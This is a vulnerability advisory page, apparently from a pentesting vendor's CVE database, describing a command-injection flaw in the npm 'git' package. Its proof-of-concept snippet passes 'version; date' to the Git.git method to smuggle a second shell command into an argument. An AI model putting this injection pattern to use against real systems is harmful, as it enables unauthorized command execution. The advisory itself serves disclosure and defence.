Menu

Star on GitHub · 3.3k

CVE-2021-23632

6.6 · MEDIUM

All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands.

Published Mar 17, 2022CWE-78EPSS 2.35%

Overview

CVE-2021-23632 is a medium-severity vulnerability. It was published on March 17, 2022 and has a CVSS 3.1 base score of 6.6 (MEDIUM).

This vulnerability has a CVSS 3.1 base score of 6.6, rated MEDIUM. It can be exploited remotely over the network. Some level of privileges is required for exploitation.

Technical description

All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.

Remediation

Check the references section for vendor advisories, patches, and mitigation guidance. If immediate patching is not possible, review the CVSS vector to understand the attack surface and apply compensating controls such as network segmentation or access restrictions.

Frequently asked questions

What is CVE-2021-23632?

CVE-2021-23632 is a medium-severity vulnerability. It was published on March 17, 2022 and has a CVSS 3.1 base score of 6.6 (MEDIUM).

How severe is CVE-2021-23632?

This vulnerability has a CVSS 3.1 base score of 6.6, rated MEDIUM. It can be exploited remotely over the network. Some level of privileges is required for exploitation.

How do I fix or remediate CVE-2021-23632?

Check the references section for vendor advisories, patches, and mitigation guidance. If immediate patching is not possible, review the CVSS vector to understand the attack surface and apply compensating controls such as network segmentation or access restrictions.

How can CyberStrike help with CVE-2021-23632?

CyberStrike is an open-source, AI-augmented pentesting engine. Rather than flag a version number, it tests whether an issue like CVE-2021-23632 is actually reachable in your own applications and APIs, then verifies each finding before reporting it. That tells you if the weakness is a real, exploitable risk in your environment or a false positive you can safely deprioritize.

Related MEDIUM CVEs from 2021

View all
LiveWatch live →